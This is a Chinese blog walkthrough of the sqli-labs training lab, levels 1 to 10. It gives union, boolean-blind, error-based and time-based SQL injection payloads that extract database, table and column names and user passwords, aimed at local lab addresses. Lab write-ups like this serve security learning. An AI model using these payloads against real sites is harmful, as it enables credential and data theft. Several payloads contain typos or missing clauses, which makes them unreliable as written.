闭合方式类型都有一般是’,",或 无闭合符号 或 '),")
Less-1
尝试?id=1
注释符号为–+、-- 、#。
当尝试?id=1’)时
很明显是属于单引号闭合方式
用–+注释掉后面的
接下来就要判断一下列数?id=1’ order by 10–+,发现
多试验几次后 得到共有三列数据接着进行联合查询?id=X’(x不等于1,2,3) union select 1,2,3–+,这里将id等于一个数据库不存在的数,通过联合查询能看出我们输入的数据在哪里能够显示出来。
在2,3的位置可以插入我们想用的语句了,接下来要做的就是爆数据表 开始之前,已经知道在MySQL中有information_schema这个库,该库存放了所有数据库的信息。
{
数据库经常引用的词汇!
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。}
爆数据库名:
后采用联合注入查看当前数据库名和数据库版本号
查询时发现只返回前面一条的查询数据,那就把id=-1,让前面的查询为空,就会返回后面的查询结果
http://10.2.10.31/sqli-labs/Less-1/?id=-1’ union select 1,database(),version() --+
得到数据库名security和版本号
爆列表:?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+
然后进行爆字段?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 --+
接下来把用户名和密码全爆出来?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+
{0x3a不加以后的情况}
Less-2
判断是无闭合符号
只需要把第一关的id=0后面的’去掉就可以了。
Less-3
闭合方式为’)
同第二关
Less-4
判断为”)闭合
(“1”不显示 说明已经被闭合了本该显示的 )
剩下的等同于第一关
Less-5(何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为三类
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
)
先判断闭合方式
单引号闭合判断而且经过判断为布尔盲注(正确的时候返回 you are in 错误时候不返回任何值)、
(1)利用 left(database(),1)进行尝试 http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23
查看一下 version(),数据库的版本号为 5.7.26,这里的语句的意思是看版本号的第一位是 不是 5,返回的结果是正确的。
接下来看一下数据库的长度 http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20length(database())=8%23 长度为 8 时,返回正确结果,说明长度为 8.
猜测数据库第一位 (已知security)http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27–+
很明显第一位是s大于a> a, 所以返回正确。当我们不知情的情况下,可以使用二分法来提高注入的效率。 接下来等同这一步操作。
直到猜到security的数据库名
接下来运用利用 substr() ascii()函数:
ascii(substr((select table_name information_schema.tables where
tables_schema=database()limit 0,1),1,1))=101
方法二:
报错注入
公式 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((payload),FLOOR (RAND(0)*2))X FROM INFORMATION_SCHEMA.TABLES GROUP BY X)A)
{payload 为自己构造的sql语句 (select group_concat(schema_name) from information_schema.schemata)}
union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+
得到如下结果:
利用 double 数值类型超出范围进行报错注入
Less-6
先判断闭合条件
双引号闭合 可以参照第五关的布尔盲注
Less-7
判断闭合条件
思考半天还是没有什么思路就暂且放弃了
Less-8
测试注入点:
127.0.0.1/sqli-labs/Less-8/?id=1’
发现无回显
写入注释后
有回显
说明我们已经成功闭合了
先判断字符长度
/Less-8/?id=1’ and if(length(database())>8,1,sleep(5)) --+
判断为8
接下来爆数据库名
/?id=1’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
得到数据库名第一个字母s
接着同样的测试得到全部的数据库名。
Less-9
无论如何尝试 页面始终没有任何变化 判断为时间盲注
尝试?id=1’ and if(ascii(substr(database(),1,1))>115, 0, sleep(5))#,页面过了一会响应,判断闭合方式为单引号。
得到第一位为s接下来尝试第二位:?id=1’ and if(ascii(substr(database(),2,1))>115, 0, sleep(5))#
得到数据库名为security
接下来猜测列表名
127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from informatiochema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+ 猜测第一个数据表的第一位是 e,…依次类推,得到 emails
127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from informatiochema.tables where table_schema=‘security’ limit 1,1),1,1))=114,1,sleep(5))–+ 猜测第二个数据表的第一位是 r,…依次类推,得到 referers
Less-10
将第九关的’换为” 就可过关。
来源:CSDN
作者:hecker_chicken
链接:https://blog.csdn.net/hecker_chicken/article/details/104142746